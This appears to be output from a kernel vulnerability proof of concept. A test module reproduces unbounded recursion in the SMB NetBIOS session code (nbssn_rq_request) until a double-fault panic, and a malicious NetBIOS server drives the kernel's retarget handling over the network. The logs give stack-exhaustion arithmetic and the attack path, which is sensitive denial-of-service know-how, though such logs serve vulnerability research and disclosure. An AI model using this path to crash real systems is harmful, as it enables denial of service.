===== DF-0671 BASELINE (unbounded recursion): kldload nb_recurse.ko (bound=0) =====
DF0671: replicating nbssn_rq_request unbounded self-recursion (smb_trantcp.c:265) on a 16KB lwkt stack...
DF0671: NB retarget recursion level 8 (sin @0xfffff80118616f68)
DF0671: NB retarget recursion level 16 (sin @0xfffff801186166e8)
DF0671: NB retarget recursion level 24 (sin @0xfffff80118615e68)
DF0671: NB retarget recursion level 32 (sin @0xfffff801186155e8)
panic: double fault
Stopped at      Debugger+0x7c:  movb    $0,0xbdaf09(%rip)
db>

=> Each retarget level consumes ~272 bytes of the 16KB lwkt stack (sin @ descends by
   0x880 every 8 levels). After ~36-40 levels the stack guard page is hit -> double fault.

===== Network-path PoC (evil_nbserver + mount_smbfs): reaches the retarget gate =====
[evil] connection #1 accepted
[evil]   req type=0x81 len=68 -> draining            <- real NB_SSN_REQUEST from kernel
[evil] sent RTGRESP -> 127.0.0.1:139                 <- kernel parsed RTGRESP & attempted retarget
mount_smbfs: unable to open connection: syserr = Connection reset by peer
(the retarget reconnect FAILED because sin.sin_family is uninitialized -> EAFNOSUPPORT
 at in_pcb.c:655, so the recursive nbssn_rq_request() at line 265 did not execute via
 this path on this guest. The harness above isolates & proves the recursion primitive.)